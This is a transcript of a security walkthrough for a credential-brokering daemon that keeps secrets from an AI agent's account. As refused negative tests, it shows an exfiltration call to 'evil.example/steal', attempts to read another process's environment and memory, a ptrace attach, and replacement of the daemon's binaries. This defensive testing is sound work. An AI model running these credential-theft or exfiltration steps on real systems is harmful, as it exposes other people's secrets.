━━ 0. The box root@devbox# uname -srm; grep PRETTY_NAME /etc/os-release; echo image: rust:1.94.0; cat /w/bin/BUILT-WITH Linux 6.10.14-linuxkit aarch64 PRETTY_NAME="Debian GNU/Linux 13 (trixie)" image: rust:1.94.0 rustc 1.94.0 (4a4ef493e 2026-03-02) aarch64 # The container runs with --network none: nothing below can reach the internet. root@devbox# ls /sys/class/net; getent hosts example.com || echo 'example.com: not resolvable' bonding_masters erspan0 gre0 gretap0 ip6_vti0 ip6gre0 ip6tnl0 ip_vti0 lo sit0 tunl0 example.com: not resolvable ━━ 1. Users: what `custos service install --print` asks for, plus the supporting cast root@devbox# groupadd --system custos-clients root@devbox# useradd --system --user-group --no-create-home --home-dir /nonexistent --shell /usr/sbin/nologin custos root@devbox# useradd -m -s /bin/bash dev && usermod -a -G custos-clients dev root@devbox# useradd -m -s /bin/bash -G custos-clients intruder && useradd -m -s /bin/bash outsider root@devbox# for u in relay phone upstream; do useradd --system --user-group --no-create-home --home-dir /nonexistent --shell /usr/sbin/nologin $u; done root@devbox# id custos; id dev; id intruder; id outsider uid=999(custos) gid=998(custos) groups=998(custos) uid=1000(dev) gid=1000(dev) groups=1000(dev),999(custos-clients) uid=1001(intruder) gid=1001(intruder) groups=1001(intruder),999(custos-clients) uid=1002(outsider) gid=1002(outsider) groups=1002(outsider) ━━ 2. Install, following the printed steps (systemd is not running in a container: its three jobs are done by hand, see the notes) root@devbox# install -o root -g root -m 0755 /w/bin/custos /usr/local/bin/custos dev@devbox$ custos service install --print --profile demo # Custos service mode, profile demo (ARCHITECTURE §11.1). Run these yourself; custos runs nothing privileged. # Daemon user: custos client group: custos-clients executable: /opt/custos/bin/custosd # State: /var/lib/custos/demo runtime: /run/custos/demo unit: /etc/systemd/system/custosd-demo.service sudo -k groupadd --system custos-clients sudo -k useradd --system --user-group --no-create-home --home-dir /nonexistent --shell /usr/sbin/nologin custos sudo -k usermod -a -G custos-clients dev sudo -k install -d -o root -g root -m 0755 /opt/custos /opt/custos/bin /var/lib/custos sudo -k install -o root -g root -m 0755 /usr/local/bin/custosd /opt/custos/bin/custosd sudo -k install -d -o custos -m 0700 /var/lib/custos/demo sudo -k tee /etc/systemd/system/custosd-demo.service >/dev/null <<'EOF' [Unit] Description=Custos daemon (profile demo) After=network-online.target [Service] User=custos Group=custos-clients ExecStart=/opt/custos/bin/custosd --profile demo RuntimeDirectory=custos/demo RuntimeDirectoryMode=0750 UMask=0077 Restart=on-failure [Install] WantedBy=multi-user.target EOF sudo -k systemctl daemon-reload sudo -k systemctl enable --now custosd-demo.service sudo -k visudo -f /etc/sudoers.d/custos # add the line below (sudo tickets are root to an agent in your terminal, ADR 0048) Defaults:dev timestamp_timeout=0 # Log out and in again so dev is in custos-clients, then: custos enroll --relay --label # Daemon-user commands (from a shell the agent cannot have touched, N25): sudo -k -u custos /opt/custos/bin/custosd verify --profile demo --at --words "" sudo -k -u custos /opt/custos/bin/custosd lock --profile demo root@devbox# install -d -o root -g root -m 0755 /opt/custos /opt/custos/bin /var/lib/custos root@devbox# install -o root -g root -m 0755 /w/bin/custosd /opt/custos/bin/custosd root@devbox# install -d -o custos -m 0700 /var/lib/custos/demo root@devbox# mkdir -p /etc/systemd/system && setpriv --reuid=dev --regid=dev --init-groups --reset-env -- custos service install --print --profile demo | sed -n '/^\[Unit\]/,/^EOF$/p' | sed '$d' > /etc/systemd/system/custosd-demo.service && chmod 0644 /etc/systemd/system/custosd-demo.service && cat /etc/systemd/system/custosd-demo.service [Unit] Description=Custos daemon (profile demo) After=network-online.target [Service] User=custos Group=custos-clients ExecStart=/opt/custos/bin/custosd --profile demo RuntimeDirectory=custos/demo RuntimeDirectoryMode=0750 UMask=0077 Restart=on-failure [Install] WantedBy=multi-user.target # systemd would create the runtime directory (RuntimeDirectory=custos/demo, RuntimeDirectoryMode=0750, # owner User=custos, group Group=custos-clients) and apply UMask=0077. Done by hand: root@devbox# install -d -o root -g root -m 0755 /run/custos && install -d -o custos -g custos-clients -m 0750 /run/custos/demo root@devbox# ls -ld / /opt /opt/custos /opt/custos/bin /opt/custos/bin/custosd /var /var/lib /var/lib/custos /var/lib/custos/demo /run /run/custos /run/custos/demo /etc/systemd/system/custosd-demo.service drwxr-xr-x 1 root root 4096 Oct 23 07:29 / -rw-r--r-- 1 root root 292 Oct 23 07:29 /etc/systemd/system/custosd-demo.service drwxr-xr-x 1 root root 4096 Oct 23 07:29 /opt drwxr-xr-x 3 root root 4096 Oct 23 07:29 /opt/custos drwxr-xr-x 2 root root 4096 Oct 23 07:29 /opt/custos/bin -rwxr-xr-x 1 root root 6071912 Oct 23 07:29 /opt/custos/bin/custosd drwxr-xr-x 1 root root 4096 Oct 23 07:29 /run drwxr-xr-x 3 root root 4096 Oct 23 07:29 /run/custos drwxr-x--- 2 custos custos-clients 4096 Oct 23 07:29 /run/custos/demo drwxr-xr-x 1 root root 4096 Mar 16 2026 /var drwxr-xr-x 1 root root 4096 Oct 23 07:29 /var/lib drwxr-xr-x 3 root root 4096 Oct 23 07:29 /var/lib/custos drwx------ 2 custos root 4096 Oct 23 07:29 /var/lib/custos/demo ━━ 3. The supporting cast: fake APIs with their own CA, the relay, the phone root@devbox# mkdir -p /etc/custos-walkthrough && cd /etc/custos-walkthrough && openssl req -x509 -newkey ec -pkeyopt ec_paramgen_curve:P-256 -nodes -days 2 -subj '/CN=Custos walkthrough CA' -addext basicConstraints=critical,CA:TRUE -addext keyUsage=critical,keyCertSign -keyout ca.key -out ca.crt 2>/dev/null && chmod 0600 ca.key && echo CA created CA created root@devbox# install -d -o upstream -g upstream -m 0700 /var/lib/upstream /var/log/upstream && cd /var/lib/upstream && openssl req -newkey ec -pkeyopt ec_paramgen_curve:P-256 -nodes -subj '/CN=walkthrough upstream' -keyout up.key -out up.csr 2>/dev/null && printf 'subjectAltName=%s\nbasicConstraints=CA:FALSE\nkeyUsage=critical,digitalSignature\nextendedKeyUsage=serverAuth\n' 'DNS:api.payments.example,DNS:api.ledger.example,DNS:api.github.example,DNS:login.microsoftonline.com,DNS:kv-demo.vault.azure.net' > ext.cnf && openssl x509 -req -in up.csr -CA /etc/custos-walkthrough/ca.crt -CAkey /etc/custos-walkthrough/ca.key -CAcreateserial -days 2 -extfile ext.cnf -out up.crt 2>/dev/null && chown upstream:upstream up.key up.crt && chmod 0600 up.key && openssl x509 -in up.crt -noout -subject -ext subjectAltName subject=CN=walkthrough upstream X509v3 Subject Alternative Name: DNS:api.payments.example, DNS:api.ledger.example, DNS:api.github.example, DNS:login.microsoftonline.com, DNS:kv-demo.vault.azure.net root@devbox# cp /etc/custos-walkthrough/ca.crt /usr/local/share/ca-certificates/custos-walkthrough.crt && update-ca-certificates 2>&1 | tail -1 done. root@devbox# echo '127.0.0.1 api.payments.example api.ledger.example api.github.example login.microsoftonline.com kv-demo.vault.azure.net' >> /etc/hosts && tail -1 /etc/hosts 127.0.0.1 api.payments.example api.ledger.example api.github.example login.microsoftonline.com kv-demo.vault.azure.net # Five fresh random canary values were written to /root/values (root only): the payments API key, # a 1Password service-account token and the item it reads, an Azure service-principal secret and the # Key Vault value it reads. Their sha256 prefixes (the values are never printed): # payments sha256:c9942d78cebc # op_token sha256:26a3b221b94a # op_item sha256:1c4d8c60866d # sp_secret sha256:7a160e288833 # kv_value sha256:21ce43a7be09 root@devbox# umask 077; setpriv --reuid=upstream --regid=upstream --init-groups --reset-env -- python3 /demo/upstream.py /var/lib/upstream/up.crt /var/lib/upstream/up.key /var/lib/upstream/cfg.json /var/log/upstream/requests.log > /var/log/upstream.out 2>&1 & root@devbox# install -d -o relay -g relay -m 0700 /var/lib/custos-relay root@devbox# umask 077; setpriv --reuid=relay --regid=relay --init-groups --reset-env -- /w/bin/custos-relay serve --listen 127.0.0.1:8080 --db /var/lib/custos-relay/relay.sqlite --key /var/lib/custos-relay/relay.key > /var/log/relay.log 2>&1 & root@devbox# head -1 /var/log/relay.log; cat /var/log/upstream.out custos-relay 0.1.0 listening on 127.0.0.1:8080 relay_kid 9_gCwLQ7ng3gOTDciWLyKFlvg28uoFMDIxorKMeP4c0 upstream: listening on 127.0.0.1:443 root@devbox# install -d -o phone -g phone -m 0700 /run/phone root@devbox# umask 077; setpriv --reuid=phone --regid=phone --init-groups --reset-env -- /w/bin/custos-walkthrough-phone --relay http://127.0.0.1:8080 --control /run/phone/ctl.sock > /var/log/phone.log 2>&1 & root@devbox# cat /var/log/phone.log phone: account created on http://127.0.0.1:8080; control socket /run/phone/ctl.sock phone> GET /account { "account_fingerprint": "glacier monsoon globe barn cobalt feather" } ━━ 4. Start custosd as the daemon user # First exactly the unit's ExecStart line, as systemd would run it (User=custos, Group=custos-clients, UMask=0077): root@devbox# cd / && umask 077 && setpriv --reuid=custos --regid=custos-clients --init-groups --reset-env -- /opt/custos/bin/custosd --profile demo > /var/log/custosd-demo.log 2>&1 & root@devbox# cat /var/log/custosd-demo.log custosd: refusing to start: service mode needs --client-uid of the agent user(s), never the daemon's own uid # FINDING: the daemon refuses to start in service mode without --client-uid (start.rs preflight), # but the unit printed by `custos service install --print` has no --client-uid. Recorded in # research/14-code-review-log.md. Continuing with the flag added (and --unit, so the ancestor check # also covers the unit file): root@devbox# cd / && umask 077 && setpriv --reuid=custos --regid=custos-clients --init-groups --reset-env -- /opt/custos/bin/custosd --profile demo --client-uid 1000 --unit /etc/systemd/system/custosd-demo.service > /var/log/custosd-demo.log 2>&1 & root@devbox# cat /var/log/custosd-demo.log; ps -o user,group,pid,args -p 1354 USER GROUP PID COMMAND custos custos-+ 1354 /opt/custos/bin/custosd --profile demo --client-uid 1000 --unit /etc/systemd/system/custosd-demo.service root@devbox# grep -E '^(Uid|Gid|Groups|NoNewPrivs|CapEff)' /proc/1354/status; stat -c '%U:%G %a %n' /proc/1354/environ /proc/1354/mem Uid: 999 999 999 999 Gid: 999 999 999 999 Groups: 998 CapEff: 0000000000000000 NoNewPrivs: 0 root:root 400 /proc/1354/environ root:root 600 /proc/1354/mem # /proc//environ and mem belong to root:root: the daemon made itself non-dumpable (PR_SET_DUMPABLE 0). root@devbox# ls -la /var/lib/custos/demo /run/custos/demo /run/custos/demo: total 8 drwxr-x--- 2 custos custos-clients 4096 Oct 23 07:30 . drwxr-xr-x 3 root root 4096 Oct 23 07:29 .. srw-rw---- 1 custos custos-clients 0 Oct 23 07:30 custosd.sock /var/lib/custos/demo: total 8 drwx------ 2 custos root 4096 Oct 23 07:29 . drwxr-xr-x 3 root root 4096 Oct 23 07:29 .. ━━ 5. The developer (agent uid) enrolls the host; the human compares words on the phone dev@devbox$ id; custos --profile demo status uid=1000(dev) gid=1000(dev) groups=1000(dev),999(custos-clients) { "alarms": [], "enrolled": false, "frozen": false, "locked": false, "mode": "service" } dev@devbox$ custos --profile demo enroll --relay http://127.0.0.1:8080 --label devbox ‹running; its output is shown when it exits› # the human reads the code on the terminal and types it into the phone (Devices → Add → Host) phone> POST /enroll {"code":"92QB-PNM3"} { "sas": "river garden poppy jungle award falcon" } # terminal words: river garden poppy jungle award falcon # phone words: river garden poppy jungle award falcon # they match: the human types y on the terminal and taps "They match" on the phone phone> POST /enroll/confirm { "added": "devbox", "isolation": 1, "seq": 1 } ‹output of the command above:› Enrollment code: 92QB-PNM3 On your phone: Devices → Add → Host, then type this code. Compare these words with your phone: river garden poppy jungle award falcon Do they match exactly? [y/N] Enrolled. Account fingerprint: glacier monsoon globe barn cobalt feather Isolation: 1 (service mode: the daemon runs as its own OS user) dev@devbox$ custos --profile demo status { "account_fingerprint": "glacier monsoon globe barn cobalt feather", "ack_command": "sudo -k -u /opt/custos/bin/custosd ack-report --profile demo --at 2", "alarms": [], "dev_mode_warning": null, "device_fingerprint": "ivory onyx thistle aspen", "enrolled": true, "escalation_alarm": false, "freshness_age_ms": 58, "frozen": false, "grants": [], "host_id": "rsNR6_vIiDuFiMN5cg6dMvQMqU3FguOzoOYljrmo3nA", "isolation": 1, "locked": false, "log_fingerprint": "mirror ember bloom quill", "log_size": 2, "mode": "service", "new_approvers": [ "phone" ], "new_egress_hosts": [], "relay": "http://127.0.0.1:8080", "report_mark": 0, "sync_warning": null } ━━ 6. A native secret: the human proposes it on the host, the phone adopts it as prod (tier 2) dev@devbox$ custos --profile demo secret add payments-api --env production --egress-hint api.payments.example ‹stdin: the payments API key, typed at the no-echo prompt; not shown› Value for payments-api (input hidden): proposed NHAok_s3O3-doRCNPbjnbg: adopt it on your phone (Pending secrets) to create custos:payments-api phone> GET /proposals [ { "egress hint (untrusted)": "api.payments.example", "env (host-claimed)": "production", "from host": "devbox", "name": "payments-api", "op": null, "references": null } ] phone> POST /adopt {"proposal":"payments-api","name":"payments-api","env":"prod","tier":"per-use","host":"api.payments.example","path_prefix":"/v1","header":"Authorization","template":"Bearer {}"} { "adopted": "payments-api", "egress": "GET https://api.payments.example/v1", "env": "prod", "handle": "payments-api", "header": "Authorization: Bearer {}", "source": "native", "tier": 2 } dev@devbox$ custos --profile demo handles custos:payments-api env=prod tier=2 no grant egress GET api.payments.example /v1 ━━ 7. The agent asks; the human types the number from the terminal into the phone; one proxied call dev@devbox$ custos --profile demo request payments-api --once --reason 'Check failed charges before the standup' ‹running; its output is shown when it exits› phone> POST /approve {"typed":"987 219","uses":1} { "card": [ "Verified: host devbox · isolation 1 · device ivory onyx thistle aspen", "Handles: payments-api", "Reported by the host (not verified): lineage \"custos (no known harness)\", cwd \"/home/dev\"", "Agent says: \"Check failed charges before the standup\" (hidden characters removed: 0)" ], "decision": "approved with user verification: 600 s window, 1 use(s)", "number": "987 219", "typed": "987 219" } ‹output of the command above:› Request L_n56TfY76X3Vss99lcAgw fingerprint: island heron maple Type this number on your phone: 987 219 request L_n56TfY76X3Vss99lcAgw granted until 2026-10-23 07:40 UTC, 1 uses dev@devbox$ custos --profile demo http payments-api GET 'https://api.payments.example/v1/charges?status=failed' --reason 'list failed charges' -i HTTP 200 server: BaseHTTP/0.6 Python/3.13.5 date: Fri, 23 Oct 2026 07:30:07 GMT content-type: application/json content-length: 704 x-echo-credential: Bearer «custos:payments-api» HTTP 200 · 4 redaction(s) {"method": "GET", "path": "/v1/charges?status=failed", "headers": [{"name": "accept-encoding", "value": "identity", "base64": "aWRlbnRpdHk=", "hex": "6964656e74697479"}, {"name": "authorization", "value": "Bearer «custos:payments-api»", "base64": "QmVhcmVyIH«custos:payments-api»Q==", "hex": "42656172657220«custos:payments-api»"}, {"name": "accept", "value": "*/*", "base64": "Ki8q", "hex": "2a2f2a"}, {"name": "host", "value": "api.payments.example", "base64": "YXBpLnBheW1lbnRzLmV4YW1wbGU=", "hex": "6170692e7061796d656e74732e6578616d706c65"}]} # What the API received (upstream's log, root-only; credential headers as sha256 prefixes): root@devbox# tail -1 /var/log/upstream/requests.log GET api.payments.example/v1/charges?status=failed headers=[accept-encoding, authorization: , accept, host] # The grant was for one use; a second call needs a new approval: dev@devbox$ custos --profile demo http payments-api GET 'https://api.payments.example/v1/charges' --reason 'again' --wait 0 Request kjYuWwF_8TyQNYt1uFgsQg fingerprint: arena coral board custos: needs_approval: needs approval: approve the request on your phone (request kjYuWwF_8TyQNYt1uFgsQg, fingerprint: arena coral board) [exit 3] dev@devbox$ custos --profile demo http payments-api GET 'https://evil.example/steal' --reason 'exfiltrate' --wait 0 custos: egress_denied: operation matches no egress rule [exit 1] ━━ 8. 1Password bridge in service mode (stub op; the item lives in a file only the daemon uid can read) root@devbox# install -o root -g root -m 0755 /root/op.stub /opt/custos/bin/op && ls -l /opt/custos/bin/op && ls -ld /var/lib/op-stub -rwxr-xr-x 1 root root 640 Oct 23 07:30 /opt/custos/bin/op drwx------ 2 custos custos 4096 Oct 23 07:30 /var/lib/op-stub dev@devbox$ custos --profile demo bridge add 1password --ref 'op://Custos Demo/github-bot/credential' --name ops-token --env staging ‹stdin: the 1Password service-account token, typed at the no-echo prompt; not shown› 1Password service-account token (input hidden): proposed 1Password token 1KMeNLei6Y49puyxbP8cjA (op sha256 4542d3f84732dde3b2b545c5b3d0950d4ba3c434f407b73796003d57114f330a): adopt it on your phone (Pending secrets). macOS hosts fetch only in dev mode, where your agent's user can read the token while op runs (N34); prefer a Linux service-mode host. phone> GET /proposals [ { "egress hint (untrusted)": null, "env (host-claimed)": "staging", "from host": "devbox", "name": "ops-token", "op": "/opt/custos/bin/op sha256 4542d3f84732dde3b2b545c5b3d0950d4ba3c434f407b73796003d57114f330a", "references": [ "op://Custos Demo/github-bot/credential" ] } ] phone> POST /adopt {"proposal":"ops-token","name":"github-bot","env":"staging","tier":"lease","host":"api.github.example","path_prefix":"/","header":"Authorization","template":"Bearer {}","source":"1password","reference":"op://Custos Demo/github-bot/credential"} { "adopted": "ops-token", "egress": "GET https://api.github.example/", "env": "staging", "handle": "github-bot", "header": "Authorization: Bearer {}", "source": "1password op://Custos Demo/github-bot/credential", "tier": 1 } dev@devbox$ custos --profile demo request github-bot --lease 30m --uses 5 --reason 'Check the CI bot account' ‹running; its output is shown when it exits› phone> POST /approve {"typed":"810 464","uses":5} { "card": [ "Verified: host devbox · isolation 1 · device ivory onyx thistle aspen", "Handles: github-bot", "Reported by the host (not verified): lineage \"custos (no known harness)\", cwd \"/home/dev\"", "Agent says: \"Check the CI bot account\" (hidden characters removed: 0)" ], "decision": "approved with user verification: 1800 s window, 5 use(s)", "number": "810 464", "typed": "810 464" } ‹output of the command above:› Request pSeY2f31E2rJiCa356dSsA fingerprint: piano velvet granite Type this number on your phone: 810 464 request pSeY2f31E2rJiCa356dSsA granted until 2026-10-23 08:00 UTC, 5 uses dev@devbox$ custos --profile demo http github-bot GET https://api.github.example/user --reason 'who is the CI bot' ‹running; its output is shown when it exits› # While op runs (as custos, token in its environment), the agent looks at it: dev@devbox$ ps -o user,pid,args -p 1626 USER PID COMMAND custos 1626 /bin/sh /opt/custos/bin/op read --no-newline op://Custos Demo/github-bot/credential # N33 shown: another uid sees the op argv (the reference), as ARCHITECTURE §1.4 states. Not the token: dev@devbox$ cat /proc/1626/environ cat: /proc/1626/environ: Permission denied [exit 1] dev@devbox$ head -c 16 /proc/1626/mem head: cannot open '/proc/1626/mem' for reading: Permission denied [exit 1] ‹output of the command above:› HTTP 200 · 4 redaction(s) {"method": "GET", "path": "/user", "headers": [{"name": "accept-encoding", "value": "identity", "base64": "aWRlbnRpdHk=", "hex": "6964656e74697479"}, {"name": "authorization", "value": "Bearer «custos:github-bot»", "base64": "QmVhcmVyIG«custos:github-bot»", "hex": "42656172657220«custos:github-bot»"}, {"name": "accept", "value": "*/*", "base64": "Ki8q", "hex": "2a2f2a"}, {"name": "host", "value": "api.github.example", "base64": "YXBpLmdpdGh1Yi5leGFtcGxl", "hex": "6170692e6769746875622e6578616d706c65"}]} root@devbox# tail -1 /var/log/upstream/requests.log GET api.github.example/user headers=[accept-encoding, authorization: , accept, host] ━━ 9. Azure Key Vault bridge in service mode (fake Entra and Key Vault on this box, fake tenant) dev@devbox$ custos --profile demo bridge add azure --tenant 00000000-0000-4000-8000-00000000c0de --client-id 11111111-2222-4333-8444-555555555555 --ref kv-demo/ledger-live --name ledger-sp --env staging ‹stdin: the service-principal client secret, typed at the no-echo prompt; not shown› Client secret of the service principal (input hidden): proposed Azure credential hkcW-EptUcY9xS5sxPZvrw: adopt it on your phone (Pending secrets) and set the handles' egress rules. Remove standing access from agent terminals: `az logout` (custos doctor checks). phone> GET /proposals [ { "egress hint (untrusted)": null, "env (host-claimed)": "staging", "from host": "devbox", "name": "ledger-sp", "op": null, "references": [ "kv-demo/ledger-live" ] } ] phone> POST /adopt {"proposal":"ledger-sp","name":"ledger-api","env":"staging","tier":"lease","host":"api.ledger.example","path_prefix":"/v1","header":"X-Api-Key","template":"{}","source":"azure","vault":"kv-demo","secret":"ledger-live"} { "adopted": "ledger-sp", "egress": "GET https://api.ledger.example/v1", "env": "staging", "handle": "ledger-api", "header": "X-Api-Key: {}", "source": "azure kv-demo/ledger-live", "tier": 1 } dev@devbox$ custos --profile demo request ledger-api --lease 30m --uses 5 --reason 'Reconcile the ledger' ‹running; its output is shown when it exits› phone> POST /approve {"typed":"167 694","uses":5} { "card": [ "Verified: host devbox · isolation 1 · device ivory onyx thistle aspen", "Handles: ledger-api", "Reported by the host (not verified): lineage \"custos (no known harness)\", cwd \"/home/dev\"", "Agent says: \"Reconcile the ledger\" (hidden characters removed: 0)" ], "decision": "approved with user verification: 1800 s window, 5 use(s)", "number": "167 694", "typed": "167 694" } ‹output of the command above:› Request 0-cSZH58jqY0czcpa8jmfQ fingerprint: canyon jaguar goblet Type this number on your phone: 167 694 request 0-cSZH58jqY0czcpa8jmfQ granted until 2026-10-23 08:00 UTC, 5 uses dev@devbox$ custos --profile demo http ledger-api GET https://api.ledger.example/v1/balance --reason 'reconcile the ledger' HTTP 200 · 4 redaction(s) {"method": "GET", "path": "/v1/balance", "headers": [{"name": "accept-encoding", "value": "identity", "base64": "aWRlbnRpdHk=", "hex": "6964656e74697479"}, {"name": "x-api-key", "value": "«custos:ledger-api»", "base64": "«custos:ledger-api»w==", "hex": "«custos:ledger-api»"}, {"name": "accept", "value": "*/*", "base64": "Ki8q", "hex": "2a2f2a"}, {"name": "host", "value": "api.ledger.example", "base64": "YXBpLmxlZGdlci5leGFtcGxl", "hex": "6170692e6c65646765722e6578616d706c65"}]} root@devbox# tail -3 /var/log/upstream/requests.log POST login.microsoftonline.com/00000000-0000-4000-8000-00000000c0de/oauth2/v2.0/token headers=[content-type, accept-encoding, accept, host, content-length] body=<188 bytes, sha256:456898840a62> GET kv-demo.vault.azure.net/secrets/ledger-live?api-version=2025-07-01 headers=[authorization: , accept-encoding, accept, host] GET api.ledger.example/v1/balance headers=[accept-encoding, x-api-key: , accept, host] ━━ 10. What the agent uid cannot do # Positive controls first: the same reads work where Linux allows them, so a refusal below is the # uid boundary, not a broken tool. dev@devbox$ sleep 30 & cat /proc/$!/environ | tr '\0' '\n' | grep -c = 9 root@devbox# ls -l /var/lib/custos/demo total 148 -rw------- 1 custos custos-clients 2062 Oct 23 07:30 config.cbor -rw------- 1 custos custos-clients 103 Oct 23 07:30 device.cbor -rw------- 1 custos custos-clients 0 Oct 23 07:30 lock -rw------- 1 custos custos-clients 132223 Oct 23 07:30 log.cbor -rw------- 1 custos custos-clients 3509 Oct 23 07:30 view.cbor # Daemon memory and environment: dev@devbox$ cat /proc/1354/environ cat: /proc/1354/environ: Permission denied [exit 1] dev@devbox$ head -c 16 /proc/1354/mem head: cannot open '/proc/1354/mem' for reading: Permission denied [exit 1] dev@devbox$ cat /proc/1354/maps cat: /proc/1354/maps: Permission denied [exit 1] dev@devbox$ ls /proc/1354/fd ls: cannot open directory '/proc/1354/fd': Permission denied [exit 2] dev@devbox$ python3 -c 'import ctypes,os,sys; l=ctypes.CDLL(None,use_errno=True); r=l.ptrace(16,1354,0,0); e=ctypes.get_errno(); print("ptrace(PTRACE_ATTACH) =",r,os.strerror(e)); sys.exit(0 if r==0 else 1)' ptrace(PTRACE_ATTACH) = -1 Operation not permitted [exit 1] dev@devbox$ kill -STOP 1354 bash: line 1: kill: (1354) - Operation not permitted [exit 1] # Key files (device seeds, verified log with the bridge-credential ciphertexts, config): dev@devbox$ ls -l /var/lib/custos/demo ls: cannot open directory '/var/lib/custos/demo': Permission denied [exit 2] dev@devbox$ cat /var/lib/custos/demo/device.cbor cat: /var/lib/custos/demo/device.cbor: Permission denied [exit 1] dev@devbox$ cat /var/lib/custos/demo/log.cbor cat: /var/lib/custos/demo/log.cbor: Permission denied [exit 1] dev@devbox$ cat /var/lib/op-stub/item cat: /var/lib/op-stub/item: Permission denied [exit 1] # Admin surface. There is no separate admin socket in the PoC: the one socket serves client uids, and # admin actions are custosd subcommands run as the daemon user (§11.1, `sudo -k -u custos …`). dev@devbox$ /opt/custos/bin/custosd unlock --profile demo refused: /var/lib/custos/demo: owned by a uid other than root or the daemon user [exit 4] dev@devbox$ /opt/custos/bin/custosd unfreeze --profile demo refused: /var/lib/custos/demo: owned by a uid other than root or the daemon user [exit 4] dev@devbox$ touch /run/custos/demo/fake.sock touch: cannot touch '/run/custos/demo/fake.sock': Permission denied [exit 1] dev@devbox$ cp /bin/true /opt/custos/bin/custosd cp: cannot create regular file '/opt/custos/bin/custosd': Permission denied [exit 1] dev@devbox$ cp /bin/true /opt/custos/bin/op cp: cannot create regular file '/opt/custos/bin/op': Permission denied [exit 1] dev@devbox$ sudo -n -u custos true bash: line 1: sudo: command not found [exit 127] intruder@devbox$ custos --profile demo status custos: unauthorized: peer uid not allowed [exit 1] # custos reports any connect error as "not reachable"; the raw connect below shows the cause (EACCES): outsider@devbox$ custos --socket /run/custos/demo/custosd.sock status custos: daemon not reachable at /run/custos/demo/custosd.sock (start it, or set CUSTOS_SOCKET / --socket) [exit 1] outsider@devbox$ python3 -c 'import socket; s=socket.socket(socket.AF_UNIX); s.connect("/run/custos/demo/custosd.sock"); print("connected")' Traceback (most recent call last): File "", line 1, in import socket; s=socket.socket(socket.AF_UNIX); s.connect("/run/custos/demo/custosd.sock"); print("connected") ~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ PermissionError: [Errno 13] Permission denied [exit 1] dev@devbox$ python3 -c 'import socket; s=socket.socket(socket.AF_UNIX); s.connect("/run/phone/ctl.sock"); print("connected")' Traceback (most recent call last): File "", line 1, in import socket; s=socket.socket(socket.AF_UNIX); s.connect("/run/phone/ctl.sock"); print("connected") ~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^ PermissionError: [Errno 13] Permission denied [exit 1] # Admin works for the daemon user (stands for: sudo -k -u custos /opt/custos/bin/custosd verify …): phone> GET /check { "size": 18, "words": "bagel salmon emerald radish" } root@devbox# setpriv --reuid=custos --regid=custos-clients --init-groups --reset-env -- /opt/custos/bin/custosd verify --profile demo --at 18 --words 'bagel salmon emerald radish' MATCH: entry 17: use by devbox dev@devbox$ custos --profile demo audit tail -n 12 [ { "actor": "devbox", "handles": [ "payments-api" ], "kind": "use", "seq": 6, "time": 1792740607820 }, { "actor": "devbox", "handles": [ "payments-api" ], "kind": "request", "seq": 7, "time": 1792740607906 }, { "actor": "devbox", "handles": [], "kind": "secret.version", "seq": 8, "time": 1792740607930 }, { "actor": "phone", "handles": [ "github-bot" ], "kind": "policy", "seq": 9, "time": 1792740609791 }, { "actor": "devbox", "handles": [ "github-bot" ], "kind": "request", "seq": 10, "time": 1792740611016 }, { "actor": "phone", "handles": [ "github-bot" ], "kind": "grant", "seq": 11, "time": 1792740612255 }, { "actor": "devbox", "handles": [ "github-bot" ], "kind": "use", "seq": 12, "time": 1792740611287 }, { "actor": "devbox", "handles": [], "kind": "secret.version", "seq": 13, "time": 1792740615527 }, { "actor": "phone", "handles": [ "ledger-api" ], "kind": "policy", "seq": 14, "time": 1792740616579 }, { "actor": "devbox", "handles": [ "ledger-api" ], "kind": "request", "seq": 15, "time": 1792740618616 }, { "actor": "phone", "handles": [ "ledger-api" ], "kind": "grant", "seq": 16, "time": 1792740619852 }, { "actor": "devbox", "handles": [ "ledger-api" ], "kind": "use", "seq": 17, "time": 1792740618881 } ] dev@devbox$ custos --profile demo doctor no standing access found ━━ 11. Canary scan: no value, token or secret anywhere the agent or the relay could see # Searched: this transcript up to here (every byte every uid printed, including the agent's command # output), the relay's SQLite files and its log. Forms (demo/service-mode/scan.py): raw, hex, upper hex, # URL-encoded, and base64 and base64url in all three byte alignments, so a value inside an encoded # "Bearer " (as the echo API reflects it) is found too. A positive control runs first. positive control: a fresh value in 18 forms (behind 0, 1, 2 and 7 prefix bytes) found in every form 5 values x 10 forms x 5 surfaces: 0 hits # The relay operator's own proof tool, with the 5 values plus handle names, hosts, a reason and the op reference: root@devbox# setpriv --reuid=relay --regid=relay --init-groups --reset-env -- /w/bin/custos-relay inspect --db /var/lib/custos-relay/relay.sqlite --search-stdin < /var/lib/custos-relay/needles # custos-relay inspect --search: 15 needle(s) × raw/hex/base64/url/json forms over every row, the dump and the database files: 0 hit(s), 0 needle(s) found ━━ 12. Summary FINDING the printed unit's ExecStart does not start the daemon: it has no --client-uid (custos service install --print) ok custosd runs as the daemon uid with the agent uid as its only client ok enrollment words on the terminal equal the phone's ok the host enrolled ok the per-use request was granted after number match + UV ok the proxied call returned 200 ok the API received 'Authorization: Bearer ' (sha256:1fad1f4ba64b) refused a second use of a once grant is refused (exit 3, needs_approval) refused egress to a host outside the policy is refused (exit 1, egress_denied) ok the 1Password lease was granted ok the op child (as custos) is running before the agent looks at it refused agent reads OP_SERVICE_ACCOUNT_TOKEN from the running op child (/proc//environ) refused agent opens the op child's memory ok the op child is still running after both reads (the refusals were the uid boundary, not a dead pid) ok the 1Password-bridged call returned 200 ok api.github.example received the 1Password item (sha256:37823321f424) ok the Azure lease was granted ok the Azure-bridged call returned 200 ok api.ledger.example received the Key Vault value (sha256:21ce43a7be09) ok Key Vault was called with the Entra token, which the fake Entra issues only for the exact SP client secret ok agent reads the environment of its own process ok root lists the daemon's state directory (the files exist) ok custosd is running before the agent looks at it refused agent reads the daemon's environment (/proc//environ) refused agent opens the daemon's memory (/proc//mem) refused agent reads the daemon's memory map refused agent lists the daemon's open files refused agent attaches to the daemon with ptrace refused agent stops the daemon (SIGSTOP) ok custosd is still running after the agent's attempts refused agent lists the state directory refused agent reads the device seeds (device.cbor) refused agent reads the verified log (log.cbor) refused agent reads the 1Password item file of the stub refused agent runs the admin subcommand custosd unlock refused agent runs the admin subcommand custosd unfreeze refused agent plants a file in the runtime directory (fake socket) refused agent replaces the daemon binary refused agent replaces the op binary refused agent becomes root or custos via sudo (sudo is not installed on this box) refused a uid in custos-clients but not in --client-uid uses the socket refused a uid outside custos-clients reaches the socket refused a uid outside custos-clients connects to 